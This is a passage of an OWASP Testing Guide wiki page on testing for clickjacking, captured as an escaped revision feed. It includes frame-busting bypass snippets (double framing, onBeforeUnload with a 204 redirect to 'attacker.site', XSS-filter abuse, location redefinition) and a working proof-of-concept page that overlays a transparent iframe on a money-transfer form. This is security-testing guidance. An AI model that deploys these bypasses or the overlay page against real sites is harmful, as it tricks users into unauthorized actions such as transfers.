&lt;br /&gt;
The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===How to Test===&lt;br /&gt;
As mentioned above, this type of attack is often designed to allow an attacker site to induce user's actions on the target site even if anti-CSRF tokens are being used. So it's important, like for the CSRF attack, to individuate web pages of the target site that it take input from the user.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a &amp;quot;proof of concept&amp;quot; to exploit the vulnerability. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The first step to discover if a website is vulnerable, is to check if the target web page could be loaded into an iframe.&lt;br /&gt;
To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
   &amp;lt;head&amp;gt;&lt;br /&gt;
     &amp;lt;title&amp;gt;Clickjack test page&amp;lt;/title&amp;gt;&lt;br /&gt;
   &amp;lt;/head&amp;gt;&lt;br /&gt;
   &amp;lt;body&amp;gt;&lt;br /&gt;
     &amp;lt;p&amp;gt;Website is vulnerable to clickjacking!&amp;lt;/p&amp;gt;&lt;br /&gt;
     &amp;lt;iframe src=&amp;quot;http://www.target.site&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
   &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&lt;br /&gt;
If you can see both the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a &amp;quot;proof of concept&amp;quot; to demonstrate that an attacker could exploit this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Bypass Clickjacking protection:===&lt;br /&gt;
In case in which you only see the target site or the text &amp;quot;Website is vulnerable to clickjacking!&amp;quot; but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Methods to protect a web page from clickjacking can be divided in two macro-categories:&lt;br /&gt;
* Client side protection: Frame Busting&lt;br /&gt;
* Server side protection: X-Frame-Options&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Client side protection: Frame Busting====&lt;br /&gt;
The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The structure of frame busting code typically consists of a &amp;quot;conditional statement&amp;quot; and a &amp;quot;counter-action&amp;quot; statement.&lt;br /&gt;
For this type of protection, there are some work arounds that fall under the name of &amp;quot;Bust frame busting&amp;quot;. Some of this techniques are browser-specific while others work across browsers. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users.&lt;br /&gt;
From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Double Framing'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Some frame busting techniques try to break frame by assigning a value to the &amp;quot;parent.location&amp;quot; attribute in the &amp;quot;counter-action&amp;quot; statement. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Such actions are, for example:&lt;br /&gt;
* self.parent.location = document.location&lt;br /&gt;
* parent.location.href = self.location&lt;br /&gt;
* parent.location = self.location&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to &amp;quot;parent.location&amp;quot; becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Target site frame busting code (target site):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if(top.location!=self.locaton) {&lt;br /&gt;
   parent.location = self.location;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attacker’s  top frame (fictitious2.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;fictitious.html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Attacker’s fictitious sub-frame (fictitious.html):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Disabling javascript'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are three deactivation techniques that can be used with frames:&lt;br /&gt;
* Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the &amp;quot;security&amp;quot; attribute that, if it is set to the value &amp;quot;restricted&amp;quot;, ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; security=&amp;quot;restricted&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Sandbox attribute: with HTML5 there is a new attribute called &amp;quot;sandbox&amp;quot;. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible whit Chrome and Safari.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot; sandbox&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Design mode: Paul Stone showed a security issue concerning the &amp;quot;designMode&amp;quot; that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''onBeforeUnload event'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating traget's frame busting attempt. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker can use this attack by registering an unload event on the top page using the following example code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;www.fictitious.site&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   window.onbeforeunload = function()&lt;br /&gt;
   {&lt;br /&gt;
      return &amp;quot; Do you want to leave fictitious.site?&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a &amp;quot;HTTP/1.1 204 No Content&amp;quot; header. &lt;br /&gt;
&lt;br /&gt;
Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, rendering the original frame busting attempt futile. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following an example code: &lt;br /&gt;
&lt;br /&gt;
204 page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   header(&amp;quot;HTTP/1.1 204 No Content&amp;quot;);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker's page:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
	var prevent_bust = 0;&lt;br /&gt;
	window.onbeforeunload = function() {&lt;br /&gt;
		prevent_bust++;&lt;br /&gt;
	};&lt;br /&gt;
	setInterval(&lt;br /&gt;
		function() {&lt;br /&gt;
			if (prevent_bust &amp;gt; 0) {&lt;br /&gt;
				prevent_bust -= 2;&lt;br /&gt;
				window.top.location = &amp;quot;http://attacker.site/204.php&amp;quot;;&lt;br /&gt;
			}&lt;br /&gt;
		}, 1);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''XSS Filter'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code.&lt;br /&gt;
* &amp;lt;b&amp;gt;IE8 XSS filter&amp;lt;/b&amp;gt;: this filter has visibility into all requests and responses parameters flowing  through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disable all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induces a false positive by inserting the beginning of the frame busting script into a request parameters.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=&amp;lt;script&amp;gt;if”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Chrome 4.0 XSSAuditor filter&amp;lt;/b&amp;gt;: It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a &amp;quot;script&amp;quot; by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
Target web page frame busting code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   if ( top != self ) &lt;br /&gt;
   {&lt;br /&gt;
      top.location=self.location;&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attacker code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Redefining location'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For several browser the &amp;quot;document.location&amp;quot; variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code.&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in IE7 and IE8&amp;lt;/b&amp;gt;: it is possible to redefine &amp;quot;location&amp;quot; as it is illustrated in the following example. By defining &amp;quot;location&amp;quot; as a variable, any code that tries to read or to navigate by assigning &amp;quot;top.location&amp;quot; will fail due to a security violation and so the frame busting code is suspended.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
   var location = &amp;quot;xyz&amp;quot;;&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Redefining location in Safari 4.0.4&amp;lt;/b&amp;gt;: To bust frame busting code with &amp;quot;top.location&amp;quot; it is possible to bind &amp;quot;location&amp;quot; to a function via defineSetter (through window), so that an attempt to read or navigate to the &amp;quot;top.location&amp;quot; will fail.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
  window.defineSetter(&amp;quot;location&amp;quot; , function(){});&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;iframe src=&amp;quot;http://target site&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Server side protection: X-Frame-Options====&lt;br /&gt;
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new &amp;quot;X-FRAME-OPTIONS&amp;quot; header is sent from the server on HTTP responses and is used to mark web pages that shouldn't be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;quot;X-FRAME-OPTIONS&amp;quot; is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Browser compatibility'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since the &amp;quot;X-FRAME-OPTIONS&amp;quot; was introduced in 2009, this header is not compatible with old browser. So every user that doesn't have an updated browser could be victim of clickjacking attack.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser !! Lowest version&lt;br /&gt;
|-&lt;br /&gt;
| Internet Explorer || 8.0 &lt;br /&gt;
|-&lt;br /&gt;
| Firefox (Gecko) || 3.6.9 (1.9.2.9) &lt;br /&gt;
|-&lt;br /&gt;
| Opera || 10.50 &lt;br /&gt;
|-&lt;br /&gt;
| Safari || 4.0&lt;br /&gt;
|-&lt;br /&gt;
| Chrome || 4.1.249.1042  &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Proxies'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the &amp;quot;X-FRAME-OPTIONS&amp;quot; header then the site loses its framing protection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mobile website version'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Also in this case, since the &amp;quot;X-FRAME-OPTIONS&amp;quot; has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Create a &amp;quot;proof of concept&amp;quot; ===&lt;br /&gt;
Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a &amp;quot;proof of concept&amp;quot; to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens.&lt;br /&gt;
In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture). &lt;br /&gt;
&lt;br /&gt;
[[Image:Clickjacking example step2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following a snippet of the code for the step 2:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//generate random anti CSRF token&lt;br /&gt;
$csrfToken = md5(uniqid(rand(), TRUE));&lt;br /&gt;
&lt;br /&gt;
//set the token as in the session data&lt;br /&gt;
$_SESSION['antiCsrf'] = $csrfToken;&lt;br /&gt;
&lt;br /&gt;
//Transfer form with the hidden field&lt;br /&gt;
$form = '&lt;br /&gt;
&amp;lt;form name=&amp;quot;transferForm&amp;quot; action=&amp;quot;confirm.php&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&lt;br /&gt;
	  &amp;lt;div class=&amp;quot;box&amp;quot;&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;BANK XYZ - Confirm Transfer&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;lt;p&amp;gt;&lt;br /&gt;
		Do You want to confirm a transfer of &amp;lt;b&amp;gt;'. $_REQUEST['amount'] .' &amp;amp;euro;&amp;lt;/b&amp;gt; to account: &amp;lt;b&amp;gt;'. $_REQUEST['account'] .'&amp;lt;/b&amp;gt; ?&lt;br /&gt;
		&amp;lt;/p&amp;gt;&lt;br /&gt;
		&amp;lt;label&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;amount&amp;quot; value=&amp;quot;' . $_REQUEST['amount'] . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;account&amp;quot; value=&amp;quot;' . $_REQUEST['account'] . '&amp;quot; /&amp;gt;				&lt;br /&gt;
			&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;antiCsrf&amp;quot; value=&amp;quot;' . $csrfToken . '&amp;quot; /&amp;gt;&lt;br /&gt;
			&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Transfer Money&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/label&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	 &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the last step are planned security controls and then, if all is ok, the transfer is done. In the following listing a snippet of code of the last step is presented (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
if( (!empty($_SESSION['antiCsrf'])) &amp;amp;&amp;amp; (!empty($_POST['antiCsrf'])) )&lt;br /&gt;
{&lt;br /&gt;
	  &lt;br /&gt;
	//here we can suppose input sanitization code…    &lt;br /&gt;
&lt;br /&gt;
    //check the anti-CSRF token&lt;br /&gt;
    if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) )&lt;br /&gt;
    {&lt;br /&gt;
		echo '&amp;lt;p&amp;gt; '. $_POST['amount'] .' &amp;amp;euro; successfully transfered to account: '. $_POST['account'] .' &amp;lt;/p&amp;gt;';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
	echo '&amp;lt;p&amp;gt;Transfer KO&amp;lt;/p&amp;gt;';&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker's page may look like a simple and harmless web page like the one presented below:&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_1.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
But playing with the CSS opacity value we can see what is hidden under the seemingly innocuous web page.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The clickjacking code to create this page is presented below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
	&amp;lt;head&amp;gt;&lt;br /&gt;
		&amp;lt;title&amp;gt;Trusted web page&amp;lt;/title&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
		&amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&amp;lt;!-- &lt;br /&gt;
			*{ &lt;br /&gt;
				margin:0; &lt;br /&gt;
				padding:0;&lt;br /&gt;
			}&lt;br /&gt;
			body {  &lt;br /&gt;
				background:#ffffff;&lt;br /&gt;
			}&lt;br /&gt;
			.button&lt;br /&gt;
			{&lt;br /&gt;
				padding:5px;&lt;br /&gt;
				background:#6699CC;&lt;br /&gt;
				left:275px;&lt;br /&gt;
				width:120px;&lt;br /&gt;
				border: 1px solid #336699;&lt;br /&gt;
			}&lt;br /&gt;
			#content {&lt;br /&gt;
				width: 500px;&lt;br /&gt;
				height: 500px;&lt;br /&gt;
				margin-top: 150px ;&lt;br /&gt;
				margin-left: 500px;&lt;br /&gt;
			}&lt;br /&gt;
			#clickjacking&lt;br /&gt;
			{ &lt;br /&gt;
 				position: absolute; &lt;br /&gt;
				left: 172px; &lt;br /&gt;
				top: 60px; &lt;br /&gt;
				filter: alpha(opacity=0); &lt;br /&gt;
				opacity:0.0&lt;br /&gt;
			} &lt;br /&gt;
		//--&amp;gt;&amp;lt;/style&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	&amp;lt;/head&amp;gt;&lt;br /&gt;
	&amp;lt;body&amp;gt;&lt;br /&gt;
		&amp;lt;div id=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;h1&amp;gt;www.owasp.com&amp;lt;/h1&amp;gt;&lt;br /&gt;
			&amp;lt;form action=&amp;quot;http://www.owasp.com&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Click and go!&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                &amp;lt;iframe id=&amp;quot;clickjacking&amp;quot; src=&amp;quot;http://localhost/csrf/transfer.php?account=ATTACKER&amp;amp;amount=10000&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot; scrolling=&amp;quot;no&amp;quot; frameborder=&amp;quot;none&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;/iframe&amp;gt;&lt;br /&gt;
	&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
With the help of CSS (note the #clickjacking block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button &amp;quot;Click and go!&amp;quot; the form is submitted and the transfer is completed.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_3.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* Context Information Security: &amp;quot;Clickjacking Tool&amp;quot; - http://www.contextis.com/research/tools/clickjacking-tool/&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[Clickjacking]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Marcus Niemietz: &amp;quot;UI Redressing: Attacks and Countermeasures Revisited&amp;quot; - http://ui-redressing.mniemietz.de/uiRedressing.pdf&lt;br /&gt;
* &amp;quot;Clickjacking&amp;quot; - https://en.wikipedia.org/wiki/Clickjacking&lt;br /&gt;
* Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: &amp;quot;Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites&amp;quot; - http://seclab.stanford.edu/websec/framebusting/framebust.pdf&lt;br /&gt;
* Paul Stone: &amp;quot;Next generation clickjacking&amp;quot; - https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=186319</id>
		<title>Testing for Clickjacking (OTG-CLIENT-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=186319"/>
				<updated>2014-12-01T19:23:23Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /* Create a &amp;quot;proof of concept&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&amp;quot;Clickjacking&amp;quot; (which is a subset of the &amp;quot;UI redressing&amp;quot;) is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term &amp;quot;Clickjacking&amp;quot; was coined by Jeremiah Grossman and Robert Hansen in 2008.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a &amp;quot;client side&amp;quot; security issue that affects a variety of browsers and platforms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker's target website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_description.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions which they never intended to perform through an &amp;quot;ad hoc&amp;quot; positioning of the elements in the web page.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Masked_iframe.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===How to Test===&lt;br /&gt;
